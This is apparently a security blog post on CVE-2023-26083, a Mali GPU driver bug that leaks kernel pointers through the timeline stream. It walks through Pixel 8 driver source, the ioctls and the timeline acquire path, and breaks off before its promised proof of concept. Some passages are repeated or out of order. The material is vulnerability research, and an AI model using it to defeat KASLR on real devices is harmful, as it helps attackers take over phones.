CVE-2023-26083 is a kernel address disclosure bug affecting certain versions of the Mali GPU Kernel driver on ARM64 devices. The bug arises because the driver logs raw kernel pointers into a timeline stream ring buffer that is directly accessible to user space. This vulnerability affects various Android devices, including Google Pixel phones, and was found by Project Zero team to be used in the wild.
Now you might wonder about why does a leak matter? Well – On Android, the kernel is typically well-guarded behind strong memory protections and randomization (e.g. KASLR). If an attacker obtains a kernel pointer, they immediately gain knowledge of in-kernel addresses, letting them mount more precise attacks such as return-oriented programming or data-structure overwrites. An attacker can potentially chain the leaked addresses with additional vulnerabilities to escalate privileges or gain arbitrary code execution in the kernel context. We’ll talk about how we can achieve the arbitrary code execution in our next blog post.
In this blog post we’ll talk about:
- Brief introduction to Mali GPU drivers
- The background of how timeline streams work in the Mali GPU driver.
- Why kernel pointers end up in user space.
- A PoC demonstration that shows exactly how the leak is triggered and observed.
Before we dive into the specifics of the vulnerability, let’s establish some context about the Mali GPU and its role in Android devices. In our case we’ll be targeting an Android Pixel 8 device running Android 14.
Background of Mali GPU on Android Pixel 8
ARM’s Mali GPUs are widely used in mobile devices, including many Android smartphones like the Google Pixel phones. These GPUs are designed to handle graphics processing efficiently, offloading work from the main CPU.
The naming convention for ARM Mali GPU architectures continues to draw inspiration from Norse mythology. Early designs were dubbed “Utgard” and “Midgard” and as the technology evolved, so did the names. They progressed through “Bifrost” and arriving at the most recent “Valhall” series. Today, many modern Android devices, including Google’s latest Pixel phones powered by the custom Tensor system-on-chip (SoC), incorporate GPUs based on the Valhall (and in some cases Bifrost) architecture.
For example, the Pixel 6 series was built around Google’s first-generation Tensor chip featuring an ARM Mali-G78 MP20 GPU which was a Valhall-based design that brought substantial improvements in rendering performance, energy efficiency, and support for advanced compute tasks such as machine learning. The follow-up devices continued this trend with further optimizations in the GPU core, enhanced driver support, and tighter integration with modern graphics APIs like Vulkan and OpenGL ES. For example, while the Pixel 8 featured the ARM Mali-Valhall GPU integrated into the Tensor G3 SoC, the Pixel 9 upgrades to the new Tensor G4 SoC.
The Mali GPU driver acts as an interface between Pixel’s underlying Android operating system and the GPU hardware, managing tasks such as memory allocation, command scheduling, and performance optimization. So basically, the Mali GPU driver provides a critical interface between userspace applications (such as games, media players, and graphical toolkits) and the underlying GPU hardware.

In this post we’ll be focusing on an Android Pixel 8 device running the following configuration, and as such all the code references will be pointed towards the android-gs-shusky-5.15-android14-qpr3
branch at https://cs.android.com/.
The code looks long, but basically does the following:
- State Transition: The function first uses an atomic compare-and-swap on
kfile->setup_state
to ensure that only one thread creates the context. If the state is not exactlyKBASE_FILE_NEED_CTX
, the function returns with an error.
- Context Creation: The actual context is allocated by calling
kbase_create_context()
. This function allocates a newkbase_context
and initializes its members (such as process ID, GPU address space information, job scheduler state, etc.). The context is also passed the API version and flags that control aspects of its behavior.
- DebugFS Integration: If
CONFIG_DEBUG_FS
is enabled, the function sets up a debugfs directory for the new context (naming it based on the context’s thread group ID and a unique context ID) and creates files such as “infinite_cache” and “force_same_va” to allow run-time debugging and tuning.
- Finalization: Finally, the created context pointer is stored in
kfile->kctx
, and thesetup_state
is updated toKBASE_FILE_COMPLETE
so that later operations (for example, file operations or ioctls) know that the context is ready.
Once all the above steps are completed, finally, the context is ready for use. Once created, the kbase_context
is used by subsequent file operations (such as ioctl calls, memory mapping, job submission, etc.). For example, functions like kbase_file_get_kctx_if_setup_complete()
check that the setup state is complete and return the context pointer for further operations.
If the client later closes the file, functions such as kbase_file_delete()
will ensure that the context is destroyed. This is done after proper cleanup such as unmapping memory and stopping scheduled jobs.
So basically, when a user application on a Pixel 8 device wishes to use the Mali GPU, it must first open the GPU device file (for example, /dev/maliXX
) and then issue a series of ioctl calls. These ioctl calls initialize the necessary kernel structures and, ultimately, create a kbase_context
object. For reference you can find the exact source code for it in struct kbase_context
at: https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_defs.h;l=1989
The kbase_context
encapsulates the execution environment for the application’s interactions with the GPU. Here is a simplified snippet of what it looks like.
[ro.vendor.build.date]: [Thu Oct 26 19:52:54 UTC 2023]
[ro.vendor.build.fingerprint]: [google/shiba/shiba:14/UD1A.231105.004/11010374:user/release-keys]
[ro.vendor.build.id]: [UD1A.231105.004]
[ro.vendor.build.security_patch]: [2023-11-05]
[ro.vendor.build.tags]: [release-keys]
[ro.vendor.build.type]: [user]
[ro.vendor.build.version.release_or_codename]: [14]
[ro.hardware.egl]: [mali]
[ro.hardware.vulkan]: [mali]
[vendor.mali.platform.config]: [/vendor/etc/mali/platform.config]
Here is the output of lsmod
to confirm usage of Mali.
lsmod | grep -i mali
mali_kbase 1777664 35
gs_thermal 225280 5 gxp,rio,pixel_em,mali_kbase,exynos_acme
google_bcl 143360 5 gxp,rio,mali_kbase,gs_thermal,max77759_charger
mali_pixel 49152 3 mali_kbase
bts 77824 9 lwis,rio,mali_kbase,cpif,smfc,g2d,exynos_drm,exynos_mfc,bigwave
gpu_cooling 40960 1 mali_kbase
pixel_stat_sysfs 16384 2 mali_pixel,pixel_stat_mm,[permanent]
slc_pt 57344 7 lwis,acpm_mbox_test,exynos_mfc,bigwave,mali_pixel,slc_acpm,slc_dummy
exynos_pd 28672 3 mali_kbase,exynos_devfreq,power_stats
cmupmucal 1765376 15 gxp,rio,acpm_mbox_test,mali_kbase,cpif,exynos_drm,exynos_acme,exynos_devfreq,gs_thermal,bts,exynos_pm,gpu_cooling,exynos_pd,exynos_cpupm,clk_exynos_gs,[permanent]
exynos_pm_qos 45056 23 lwis,gxp,rio,dsulat_devfreq,governor_dsulat,arm_memlat_mon,governor_memlat,mali_kbase,memlat_devfreq,cpif,smfc,g2d,exynos_drm,exynos_devfreq,pcie_exynos_gs,gs_thermal,google_bcl,ufs_exynos_gs,exynos_mfc,bigwave,bts,dwc3_exynos_usb,cmupmucal,[permanent]
dss 114688 20 dbgcore_dump,mali_kbase,exynos_acme,exynos_devfreq,aoc_core,exynos_mfc,exynos_coresight,ehld,exynos_adv_tracer_s2d,exynos_dm,hardlockup_debug,sjtag_driver,debug_snapshot_debug_kinfo,exynos_debug_test,exynos_ecc_handler,itmon,s3c2410_wdt,exynos_cpupm,cmupmucal,gs_acpm
exynos_pmu_if 20480 15 mali_kbase,google_bcl,aoc_core,ufs_exynos_gs,exynos_coresight,exynos_pm,exynos_adv_tracer_s2d,phy_exynos_mipi,exynos_adv_tracer,st21nfc,phy_exynos_mipi_dsim,s3c2410_wdt,exynos_cpupm,pinctrl_exynos_gs,cmupmucal
Here is the output of lsmod
to confirm usage of Mali.
cat /proc/modules | grep -i mali
mali_kbase 1777664 35 - Live 0x0000000000000000 (OE)
gs_thermal 225280 5 gxp,rio,pixel_em,mali_kbase,exynos_acme, Live 0x0000000000000000 (OE)
google_bcl 143360 5 gxp,rio,mali_kbase,gs_thermal,max77759_charger, Live 0x0000000000000000 (OE)
mali_pixel 49152 3 mali_kbase, Live 0x0000000000000000 (OE)
bts 77824 9 lwis,rio,mali_kbase,cpif,smfc,g2d,exynos_drm,exynos_mfc,bigwave, Live 0x0000000000000000 (OE)
gpu_cooling 40960 1 mali_kbase, Live 0x0000000000000000 (OE)
pixel_stat_sysfs 16384 2 mali_pixel,pixel_stat_mm,[permanent], Live 0x0000000000000000 (OE)
slc_pt 57344 7 lwis,acpm_mbox_test,exynos_mfc,bigwave,mali_pixel,slc_acpm,slc_dummy, Live 0x0000000000000000 (OE)
exynos_pd 28672 3 mali_kbase,exynos_devfreq,power_stats, Live 0x0000000000000000 (OE)
cmupmucal 1765376 15 gxp,rio,acpm_mbox_test,mali_kbase,cpif,exynos_drm,exynos_acme,exynos_devfreq,gs_thermal,bts,exynos_pm,gpu_cooling,exynos_pd,exynos_cpupm,clk_exynos_gs,[permanent], Live 0x0000000000000000 (OE)
exynos_pm_qos 45056 23 lwis,gxp,rio,dsulat_devfreq,governor_dsulat,arm_memlat_mon,governor_memlat,mali_kbase,memlat_devfreq,cpif,smfc,g2d,exynos_drm,exynos_devfreq,pcie_exynos_gs,gs_thermal,google_bcl,ufs_exynos_gs,exynos_mfc,bigwave,bts,dwc3_exynos_usb,cmupmucal,[permanent], Live 0x0000000000000000 (OE)
dss 114688 20 dbgcore_dump,mali_kbase,exynos_acme,exynos_devfreq,aoc_core,exynos_mfc,exynos_coresight,ehld,exynos_adv_tracer_s2d,exynos_dm,hardlockup_debug,sjtag_driver,debug_snapshot_debug_kinfo,exynos_debug_test,exynos_ecc_handler,itmon,s3c2410_wdt,exynos_cpupm,cmupmucal,gs_acpm, Live 0x0000000000000000 (OE)
exynos_pmu_if 20480 15 mali_kbase,google_bcl,aoc_core,ufs_exynos_gs,exynos_coresight,exynos_pm,exynos_adv_tracer_s2d,phy_exynos_mipi,exynos_adv_tracer,st21nfc,phy_exynos_mipi_dsim,s3c2410_wdt,exynos_cpupm,pinctrl_exynos_gs,cmupmucal, Live 0x0000000000000000 (OE)
We’ll spend a bit of time understanding some basic underlying information about the Mali GPU kernel. The Mali GPU kernel driver is a complex piece of software that resides within the Android kernel. You can find the code related to this at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/. This directory contains code related to GPU functionality.
In the Mali GPU driver architecture, each client process that interacts with the GPU gets its own private context. This design helps in:
- Resource Isolation: Each client has its dedicated GPU address space and memory mappings.
- Security: Fault isolation between different user-space processes.
- Efficient Resource Management: Individual job submissions and GPU operations are tracked per client.
When a user-space process running on a Pixel device opens the Mali GPU device (for example, via /dev/maliX
), the GPU driver must create a new, dedicated GPU context for that client. Let’s see how this is done using the file mali_kbase_core_linux.c
found at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c. The user-space process opening the Mali GPU device, triggers the driver’s open function (kbase_open()
). This can be seen on line 866 inside mali_kbase_core_linux.c
at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=866.
static int kbase_open(struct inode *inode, struct file *filp)
{
struct kbase_device *kbdev = NULL;
struct kbase_file *kfile;
int ret = 0;
kbdev = kbase_find_device((int)iminor(inode));
if (!kbdev)
return -ENODEV;
#if (KERNEL_VERSION(6, 0, 0) > LINUX_VERSION_CODE)
/* Set address space operations for page migration */
kbase_mem_migrate_set_address_space_ops(kbdev, filp);
#endif
/* Device-wide firmware load is moved here from probing to comply with
* Android GKI vendor guideline.
*/
ret = kbase_device_firmware_init_once(kbdev);
if (ret)
goto out;
kfile = kbase_file_new(kbdev, filp);
if (!kfile) {
ret = -ENOMEM;
goto out;
}
filp->private_data = kfile;
filp->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
out:
kbase_release_device(kbdev);
return ret;
}
In the above code you can see that when a client opens the device, the driver calls the function kbase_file_new()
to allocate and initialize a kbase_file
structure. kbase_file
represents the per-file (or per-client) state, and the following snippet shows the structure:
struct kbase_file {
struct kbase_device *kbdev;
struct file *filp;
fl_owner_t owner;
struct kbase_context *kctx;
unsigned long api_version;
atomic_t setup_state;
struct work_struct destroy_kctx_work;
spinlock_t lock;
int fops_count;
int map_count;
#if IS_ENABLED(CONFIG_DEBUG_FS)
wait_queue_head_t zero_fops_count_wait;
#endif
wait_queue_head_t event_queue;
};
This structure holds, among other fields, a pointer kctx
that will later reference the created kbase_context
. Each time a user space process opens the GPU device, the system associates the new kbase_file
structure with a new kbase_context
. Additionally, the kbase_file
structure contains an api_version
field that must be set (typically via a handshake) to ensure that the client and the driver agree on the API version before any further interactions.
The source code at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=306 shows kbase_file_new()
.
static struct kbase_file *kbase_file_new(struct kbase_device *const kbdev, struct file *const filp)
{
struct kbase_file *const kfile = kmalloc(sizeof(*kfile), GFP_KERNEL);
if (kfile) {
kfile->kbdev = kbdev;
kfile->filp = filp;
kfile->kctx = NULL;
kfile->api_version = 0;
atomic_set(&kfile->setup_state, KBASE_FILE_NEED_VSN);
/* Store the pointer to the file table structure of current process. */
kfile->owner = current->files;
INIT_WORK(&kfile->destroy_kctx_work, kbase_file_destroy_kctx_worker);
spin_lock_init(&kfile->lock);
kfile->fops_count = 0;
kfile->map_count = 0;
typecheck(typeof(kfile->map_count), typeof(current->mm->map_count));
#if IS_ENABLED(CONFIG_DEBUG_FS)
init_waitqueue_head(&kfile->zero_fops_count_wait);
#endif
init_waitqueue_head(&kfile->event_queue);
}
return kfile;
}
The above snippet shows that kbase_file_new
creates an object representing a device file. Here kbdev
is an instance of the GPU platform device, allocated from the probe method of the driver, and filp
is pointer to the struct file corresponding to device file /dev/maliXX
instance, passed to the file’s open method. This function always gets called in Userspace context, and returns address of an object representing a simulated device file, or NULL on failure.
Next, like we said – before a context is created the client must set the API version. The function kbase_file_set_api_version()
as shown at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=346 stores the major and minor version numbers in the kfile->api_version
field and updates the file’s internal state (the atomic variable setup_state
) so that the next step which is the context creation is allowed. This ordering is critical because the API version is later passed into the context.
This can be seen in the function kbase_file_get_api_version()
at the same link:
static unsigned long kbase_file_get_api_version(struct kbase_file *const kfile)
{
if (WARN_ON(!kfile))
return 0;
if (atomic_read(&kfile->setup_state) < KBASE_FILE_NEED_CTX)
return 0;
return kfile->api_version;
}
Next, the focus will be on creating the kbase_context
. The actual creation of the GPU context is done by the function kbase_file_create_kctx()
. The code for this can be found at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=807. An annotated excerpt from that function is shown below:
Next, like we said – before a context is created the client must set the API version. The function kbase_file_set_api_version()
as shown at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=346 stores the major and minor version numbers in the kfile->api_version
field and updates the file’s internal state (the atomic variable setup_state
) so that the next step which is the context creation is allowed. This ordering is critical because the API version is later passed into the context.
This can be seen in the function kbase_file_get_api_version()
at the same link:
static int kbase_file_create_kctx(struct kbase_file *const kfile,
base_context_create_flags const flags)
{
struct kbase_device *kbdev = NULL;
struct kbase_context *kctx = NULL;
#if IS_ENABLED(CONFIG_DEBUG_FS)
char kctx_name[64];
#endif
if (WARN_ON(!kfile))
return -EINVAL;
/* Only proceed if the setup state indicates that the context creation is pending.
* The atomic_cmpxchg() here atomically changes the state from KBASE_FILE_NEED_CTX to
* KBASE_FILE_CTX_IN_PROGRESS. If the state was not KBASE_FILE_NEED_CTX, then some other
* thread is already creating the context.
*/
if (atomic_cmpxchg(&kfile->setup_state, KBASE_FILE_NEED_CTX,
KBASE_FILE_CTX_IN_PROGRESS) != KBASE_FILE_NEED_CTX)
return -EPERM;
kbdev = kfile->kbdev;
/* Create a new context. The call to kbase_create_context() is where the memory for the
* kbase_context is allocated and its fields are initialized. Note that several parameters
* are passed in:
* - kbdev: pointer to the device,
* - in_compat_syscall(): flag indicating if the call comes from a compatibility (32-bit)
* system call,
* - flags: creation flags (of type base_context_create_flags),
* - kfile->api_version: the API version established in the handshake,
* - kfile: the file structure associated with this context.
*/
kctx = kbase_create_context(kbdev, in_compat_syscall(), flags,
kfile->api_version, kfile);
if (!kctx)
return -ENOMEM;
/* If the device has the default infinite cache flag active, set the corresponding flag
* in the context.
*/
if (kbdev->infinite_cache_active_default)
kbase_ctx_flag_set(kctx, KCTX_INFINITE_CACHE);
#if IS_ENABLED(CONFIG_DEBUG_FS)
/* If debugfs support is enabled, create a directory for this context under the
* driver's debugfs tree.
*/
if (unlikely(!scnprintf(kctx_name, 64, "%d_%d", kctx->tgid, kctx->id)))
return -ENOMEM;
mutex_init(&kctx->mem_profile_lock);
kctx->kctx_dentry = debugfs_create_dir(kctx_name, kbdev->debugfs_ctx_directory);
if (IS_ERR_OR_NULL(kctx->kctx_dentry)) {
dev_warn(kbdev->dev, "couldn't create debugfs dir for kctx\n");
} else {
debugfs_create_file("infinite_cache", 0644, kctx->kctx_dentry, kctx,
&kbase_infinite_cache_fops);
debugfs_create_file("force_same_va", 0600, kctx->kctx_dentry, kctx,
&kbase_force_same_va_fops);
kbase_context_debugfs_init(kctx);
}
#endif /* CONFIG_DEBUG_FS */
dev_dbg(kbdev->dev, "created base context\n");
/* Save the created context into the kbase_file structure and mark the setup as complete.
*/
kfile->kctx = kctx;
atomic_set(&kfile->setup_state, KBASE_FILE_COMPLETE);
return 0;
}
The code looks long, but basically does the following:
- State Transition: The function first uses an atomic compare-and-swap on
kfile->setup_state
to ensure that only one thread creates the context. If the state is not exactlyKBASE_FILE_NEED_CTX
, the function returns with an error.
- Context Creation: The actual context is allocated by calling
kbase_create_context()
. This function allocates a newkbase_context
and initializes its members (such as process ID, GPU address space information, job scheduler state, etc.). The context is also passed the API version and flags that control aspects of its behavior.
- DebugFS Integration: If
CONFIG_DEBUG_FS
is enabled, the function sets up a debugfs directory for the new context (naming it based on the context’s thread group ID and a unique context ID) and creates files such as “infinite_cache” and “force_same_va” to allow run-time debugging and tuning.
- Finalization: Finally, the created context pointer is stored in
kfile->kctx
, and thesetup_state
is updated toKBASE_FILE_COMPLETE
so that later operations (for example, file operations or ioctls) know that the context is ready.
Once all the above steps are completed, finally, the context is ready for use. Once created, the kbase_context
is used by subsequent file operations (such as ioctl calls, memory mapping, job submission, etc.). For example, functions like kbase_file_get_kctx_if_setup_complete()
check that the setup state is complete and return the context pointer for further operations.
If the client later closes the file, functions such as kbase_file_delete()
will ensure that the context is destroyed. This is done after proper cleanup such as unmapping memory and stopping scheduled jobs.
So basically, when a user application on a Pixel 8 device wishes to use the Mali GPU, it must first open the GPU device file (for example, /dev/maliXX
) and then issue a series of ioctl calls. These ioctl calls initialize the necessary kernel structures and, ultimately, create a kbase_context
object. For reference you can find the exact source code for it in struct kbase_context
at: https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_defs.h;l=1989
The kbase_context
encapsulates the execution environment for the application’s interactions with the GPU. Here is a simplified snippet of what it looks like.
struct kbase_context {
/* Pointer to the associated GPU device */
struct kbase_device *kbdev;
/* Process ID of the owner */
pid_t pid;
/* Reference counter for the context */
atomic_t refcount;
/* Other fields for scheduling, command queues, etc. */
// ... (additional members defined by the driver)
};
This structure is allocated and initialized when an application opens the driver file and sets up its execution environment for interacting with the GPU.
So like we said, the creation of the kbase_context
is typically initiated by ioctl commands. Now, in case you are wondering where the ioctl handling is done, take a look at the function kbase_kfile_ioctl
inside mali_kbase_core_linux.c
. You can find it at the link https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=1945. The case
statement in the function will give you a list of all the ioctl commands.
We are not going to discuss every single ioctl command you see in the link, but here is the complete list of ioctl commands you will find in the function along with its short description.
IOCTL Command | Description |
KBASE_IOCTL_VERSION_CHECK | Perform API version handshake. |
KBASE_IOCTL_VERSION_CHECK_RESERVED | Dummy/reserved handshake for version checking. |
KBASE_IOCTL_SET_FLAGS | Set driver configuration flags. |
KBASE_IOCTL_APC_REQUEST | Request an asynchronous processing (APC) operation. (if enabled) |
KBASE_IOCTL_KINSTR_PRFCNT_ENUM_INFO | Retrieve performance counter enumeration info. |
KBASE_IOCTL_KINSTR_PRFCNT_SETUP | Set up performance counter instrumentation. |
KBASE_IOCTL_GET_GPUPROPS | Get GPU properties. |
KBASE_IOCTL_JOB_SUBMIT | Submit a GPU job. (if enabled) |
KBASE_IOCTL_POST_TERM | Post a termination request. (if enabled) |
KBASE_IOCTL_MEM_ALLOC | Allocate memory on the GPU. |
KBASE_IOCTL_MEM_ALLOC_EX | Extended memory allocation. (if enabled) |
KBASE_IOCTL_MEM_QUERY | Query memory allocation details. |
KBASE_IOCTL_MEM_FREE | Free allocated GPU memory. |
KBASE_IOCTL_DISJOINT_QUERY | Query information about disjoint memory regions. |
KBASE_IOCTL_GET_DDK_VERSION | Retrieve the Device Driver Kit version. |
KBASE_IOCTL_MEM_JIT_INIT | Initialize memory for Just-In-Time (JIT) compilation. |
KBASE_IOCTL_MEM_EXEC_INIT | Initialize executable memory. |
KBASE_IOCTL_MEM_SYNC | Synchronize memory between CPU and GPU. |
KBASE_IOCTL_MEM_FIND_CPU_OFFSET | Find CPU-side offset within allocated memory. |
KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET | Find GPU start address and corresponding offset. |
KBASE_IOCTL_GET_CONTEXT_ID | Retrieve the context identifier. |
KBASE_IOCTL_TLSTREAM_ACQUIRE | Acquire a timeline log stream. |
KBASE_IOCTL_TLSTREAM_FLUSH | Flush the timeline log stream. |
KBASE_IOCTL_MEM_COMMIT | Commit memory changes. |
KBASE_IOCTL_MEM_ALIAS | Create an alias for a memory allocation. |
KBASE_IOCTL_MEM_IMPORT | Import externally allocated memory. |
KBASE_IOCTL_MEM_FLAGS_CHANGE | Change memory allocation flags. |
KBASE_IOCTL_STREAM_CREATE | Create a new stream. |
KBASE_IOCTL_FENCE_VALIDATE | Validate a synchronization fence. |
KBASE_IOCTL_MEM_PROFILE_ADD | Add a memory profiling entry. |
KBASE_IOCTL_SOFT_EVENT_UPDATE | Update soft event settings. (if enabled) |
KBASE_IOCTL_STICKY_RESOURCE_MAP | Map a sticky resource. |
KBASE_IOCTL_STICKY_RESOURCE_UNMAP | Unmap a sticky resource. |
KBASE_IOCTL_KINSTR_JM_FD | Retrieve job manager file descriptor (instrumentation). (if enabled) |
KBASE_IOCTL_GET_CPU_GPU_TIMEINFO | Get CPU and GPU timing information. |
KBASE_IOCTL_HWCNT_SET | Set hardware counters. (if applicable) |
KBASE_IOCTL_CINSTR_GWT_START | Start GPU instrumentation (CINSTR GWT). |
KBASE_IOCTL_CINSTR_GWT_STOP | Stop GPU instrumentation (CINSTR GWT). |
KBASE_IOCTL_CINSTR_GWT_DUMP | Dump GPU instrumentation data. |
KBASE_IOCTL_CS_EVENT_SIGNAL | Signal a command stream event. |
KBASE_IOCTL_CS_QUEUE_REGISTER | Register a command stream queue. |
KBASE_IOCTL_CS_QUEUE_REGISTER_EX | Register a command stream queue (extended). |
KBASE_IOCTL_CS_QUEUE_TERMINATE | Terminate a command stream queue. |
KBASE_IOCTL_CS_QUEUE_BIND | Bind a command stream queue. |
KBASE_IOCTL_CS_QUEUE_KICK | Kick (trigger) a command stream queue. |
KBASE_IOCTL_CS_QUEUE_GROUP_CREATE_1_6 | Create a command stream queue group (version 1.6). |
KBASE_IOCTL_CS_QUEUE_GROUP_CREATE_1_18 | Create a command stream queue group (version 1.18). |
KBASE_IOCTL_CS_QUEUE_GROUP_CREATE | Create a command stream queue group. |
KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATE | Terminate a command stream queue group. |
KBASE_IOCTL_KCPU_QUEUE_CREATE | Create a KCPU queue. |
KBASE_IOCTL_KCPU_QUEUE_DELETE | Delete a KCPU queue. |
KBASE_IOCTL_KCPU_QUEUE_ENQUEUE | Enqueue a command into the KCPU queue. |
KBASE_IOCTL_CS_TILER_HEAP_INIT | Initialize the command stream tiler heap. |
KBASE_IOCTL_CS_TILER_HEAP_INIT_1_13 | Initialize tiler heap (version 1.13). |
KBASE_IOCTL_CS_TILER_HEAP_TERM | Terminate the command stream tiler heap. |
KBASE_IOCTL_CS_GET_GLB_IFACE | Get the global interface for command streams. |
KBASE_IOCTL_CS_CPU_QUEUE_DUMP | Dump CPU queue info for command stream. |
KBASE_IOCTL_READ_USER_PAGE | Read a page from user-space. |
KBASE_IOCTL_TLSTREAM_STATS | Retrieve trace log stream statistics. (for unit tests) |
KBASE_IOCTL_CONTEXT_PRIORITY_CHECK | Check the priority of the current context. |
KBASE_IOCTL_SET_LIMITED_CORE_COUNT | Set the limited core count for processing. |
KBASE_IOCTL_BUFFER_LIVENESS_UPDATE | Update the liveness state of a buffer. |
As we can see in the above table, the Mali driver provides numerous ioctls’ for GPU tasks, memory management, CPU queues, etc. The one we are most interested in for the CVE is the KBASE_IOCTL_TLSTREAM_ACQUIRE
command. So what is this Timeline Stream? How does it impact the driver interaction? Let’s look at it in the next section.
The Role of Timeline Streams
The timeline stream is a diagnostic/logging mechanism for the Mali GPU driver. Whenever specific events happen in the driver (such as queue creation, GPU job completion, fence waiting), the driver code gathers
, serializes
, and writes
the diagnostic and operational information to a ring buffer. The code for the timeline portion can be found at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/tl/. A user-space application can access this timeline using an ioctl (KBASE_IOCTL_TLSTREAM_ACQUIRE
), obtaining a file descriptor that grants read access to the ring buffer. The purpose is to read the recorded events. You can see this in the case loop at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=2064. A snippet of this is shown below.
case KBASE_IOCTL_TLSTREAM_ACQUIRE:
KBASE_HANDLE_IOCTL_IN(KBASE_IOCTL_TLSTREAM_ACQUIRE, kbase_api_tlstream_acquire,
struct kbase_ioctl_tlstream_acquire, kctx);
break;
If we look for the function kbase_api_tlstream_acquire
, we can find its definition at the link https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=1344. A snippet of this is shown below:
static int kbase_api_tlstream_acquire(struct kbase_context *kctx,
struct kbase_ioctl_tlstream_acquire *acquire)
{
return kbase_timeline_io_acquire(kctx->kbdev, acquire->flags);
}
The definition for this kbase_timeline_io_acquire
, can be found at: https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/tl/mali_kbase_timeline_io.c;l=361. Reference snippet of code is provided below:
int kbase_timeline_io_acquire(struct kbase_device *kbdev, u32 flags)
{
/* The timeline stream file operations structure. */
static const struct file_operations kbasep_tlstream_fops = {
.owner = THIS_MODULE,
.release = kbasep_timeline_io_release,
.read = kbasep_timeline_io_read,
.poll = kbasep_timeline_io_poll,
.fsync = kbasep_timeline_io_fsync,
};
int err;
if (!timeline_is_permitted())
return -EPERM;
if (WARN_ON(!kbdev) || (flags & ~BASE_TLSTREAM_FLAGS_MASK))
return -EINVAL;
err = kbase_timeline_acquire(kbdev, flags);
if (err)
return err;
err = anon_inode_getfd("[mali_tlstream]", &kbasep_tlstream_fops, kbdev->timeline,
O_RDONLY | O_CLOEXEC);
if (err < 0)
kbase_timeline_release(kbdev->timeline);
return err;
}
So based on the above snippets, and the provided links we can see that the function kbase_api_tlstream_acquire
handles the KBASE_IOCTL_TLSTREAM_ACQUIRE
ioctl command by invoking kbase_timeline_io_acquire
, which acquires the timeline stream based on provided flags. Once you have that file descriptor, you can continuously poll or read the ring buffer to get real-time GPU driver event messages. So basically, the user simply calls ioctl(fd, KBASE_IOCTL_TLSTREAM_ACQUIRE, &arg)
. If successful, the return value is a new file descriptor (or sometimes the same descriptor in certain driver versions) that you can read to retrieve the trace data.
In case you are wondering what KBASE_HANDLE_IOCTL_IN
looks like, we can find it at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_core_linux.c;l=1880. A snippet of it is shown below:
#define KBASE_HANDLE_IOCTL_IN(cmd, function, type, arg) \
do { \
type param; \
int ret, err; \
dev_dbg(arg->kbdev->dev, "Enter ioctl %s\n", #function); \
BUILD_BUG_ON(_IOC_DIR(cmd) != _IOC_WRITE); \
BUILD_BUG_ON(sizeof(param) != _IOC_SIZE(cmd)); \
err = copy_from_user(¶m, uarg, sizeof(param)); \
if (err) \
return -EFAULT; \
ret = function(arg, ¶m); \
dev_dbg(arg->kbdev->dev, "Return %d from ioctl %s\n", ret, #function); \
return ret; \
} while (0)
This timeline steam process aids in debugging, performance monitoring, and other diagnostic tasks. The timeline stream operates by structuring messages in a specific format:
- Packet Header
- Message ID
- Serialized Message Buffer
To look at the Packet Header you can see the code at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/mali_kbase_mipe_proto.h;l=68.
When it comes to Message ID, you can see the code at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/tl/mali_kbase_tracepoints.c;l=34. A snippet of this is shown below:
enum tl_msg_id_obj {
KBASE_TL_NEW_CTX,
KBASE_TL_NEW_GPU,
KBASE_TL_NEW_LPU,
KBASE_TL_NEW_ATOM,
KBASE_TL_NEW_AS,
KBASE_TL_DEL_CTX,
KBASE_TL_DEL_ATOM,
KBASE_TL_LIFELINK_LPU_GPU,
KBASE_TL_LIFELINK_AS_GPU,
...
KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT,
...
}
Each message’s content varies based on its Message ID . The serialized message buffer we talk of depends on the passed Message ID. For instance, messages with the ID KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT
will make a call to https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/tl/mali_kbase_tracepoints.c;l=2502. Another interesting one for exploration is KBASE_TL_KBASE_NEW_KCPUQUEUE
, which is triggered whenever a new KCPU queue is allocated.
The driver’s code logs specific GPU events. For instance, creating a new kCPU queue triggers kbasep_kcpu_queue_new()
. That function, after allocating the kbase_kcpu_command_queue
